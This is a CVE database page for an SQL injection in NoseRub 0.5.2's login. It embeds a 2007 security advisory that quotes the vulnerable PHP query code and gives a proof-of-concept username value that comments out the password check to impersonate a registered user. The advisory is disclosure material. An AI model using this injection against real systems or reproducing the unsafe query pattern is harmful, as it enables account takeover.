CVE-2007-6602 : Detail

CVE-2007-6602

SQL Injection
A03-Injection
0.21%V3
Network
2007-12-31 19:00 +00:00
2017-09-28 10:57 +00:00

Alert for a CVE

Stay informed of any changes for a specific CVE.
Alert management

Descriptions

SQL injection vulnerability in app/models/identity.php in NoseRub 0.5.2 and earlier allows remote attackers to execute arbitrary SQL commands via the username field to the login script.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.

Metrics

Metric Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 4805

Publication date : 2007-12-27 23:00 +00:00
Author : Felix Groebert
EDB Verified : Yes

############################################################################ -- ---------- ---- - ---------------------------- ---------- ---- -- ----------------------------- ------------- ---seclog- ------------------ ------------ -- --- ------------------- --------- ---- ------------------- ------- -------------------------- --- -------------- ----------- --- -------------- -- --- - - --- -------------- - -- - ---- --------- ---------- ------- - - -- ---------- ------ - ------- ----- - --------- ------ ---- --------- --- -- --- -- -- ############################################################################ # seclog.de Security Advisory 2007-001 # ############################################################################ Advisory: NoseRub Login SQL Injection Vulnerability Affected Versions: <= 0.5.2 Fixed Versions: current SVN Risk: critical Vendor URL: http://noserub.com Vendor Status: informed, fixed version will be released soon Advisory URL: http://seclog.de/pub/seclog-2007-001.txt Advisory Status: public Author: Felix Groebert Revision: 2007-12-26 Introduction ============ NoseRub is a protocol for and a sample implementation of a decentralized social network. Vulnerability ============= The login script fails to validate user input. It is possible to insert double quotes in order to escape the following SQL query: SELECT `Identity`.`id`, `Identity`.`is_local`, [...] FROM `identities` AS `Identity` WHERE `Identity`.`hash` = '' AND `Identity`.`username` = "www.example.com/noserub/USERNAME" AND `Identity`.`password` = 'f970e2767d0cfe75876ea857f92e319b' LIMIT 1 The query is generated at the end of the function check() in app/models/identity.php: return $this->find(array('Identity.hash' => '', 'Identity.username = "'. $username .'"', 'Identity.password' => md5($data['Identity']['password']))); Proof of Concept ================ The SQL injection bug can be exploited by impersonating a registered user. Go to: http://www.example.com/noserub/pages/login/ Login as: somereallogin " -- " Password: unknownpassword This results in the following SQL query, commenting out the fourth and fifth lines using double dashes, thus maintaining valid SQL syntax. SELECT `Identity`.`id`, `Identity`.`is_local`, [...] FROM `identities` AS `Identity` WHERE `Identity`.`hash` = '' AND `Identity`.`username` = "www.example.com/noserub/somereallogin" -- "" AND `Identity`.`password` = 'f970e2767d0cfe75876ea857f92e319b' LIMIT 1 Recommendation ============== It is recommended to upgrade to NoseRub > 0.5.2. A preliminary patched version of the affected file can be downloaded from SVN revision 515: http://noserub.googlecode.com/svn/trunk/app/models/identity.php Disclosure Timeline =================== 2007-12-19 Problem found 2007-12-19 Notified developers 2007-12-20 Received response with proposed fix 2007-12-20 Sent acknowledgment concerning fix 2007-12-26 Released advisory to public About seclog.de =============== seclog.de is not your average latest-vulnerability-weblog. We try to deliver quality commentary on recent security news and issues. Our focus ranges from secure programming, exploitation techniques, applied cryptography, network security, privacy, biometrics to social engineering: from the organizational and human layers to the physical and application layers. The weblog is partly in english and german. Check it out. Disclaimer and Copyright ======================== The author is not responsible for the misuse of the information provided in this security advisory. Advisories are a service to the professional security community. There are NO WARRANTIES with regard to this information. Any application or distribution of this information constitutes acceptance AS IS, at the user's own risk. This information is subject to change without notice. This advisory Copyright (C) 2007 Felix Groebert. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact. ############################################################################ # milw0rm.com [2007-12-28]

Products Mentioned

Configuraton 0

Noserub>>Noserub >> Version To (including) 0.5.2

    References

    http://osvdb.org/39832
    Tags : vdb-entry, x_refsource_OSVDB
    http://secunia.com/advisories/28259
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.securityfocus.com/bid/27065
    Tags : vdb-entry, x_refsource_BID
    https://www.exploit-db.com/exploits/4805
    Tags : exploit, x_refsource_EXPLOIT-DB
    Click on the button to the left (OFF), to authorize the inscription of cookie improving the functionalities of the site. Click on the button to the left (Accept all), to unauthorize the inscription of cookie improving the functionalities of the site.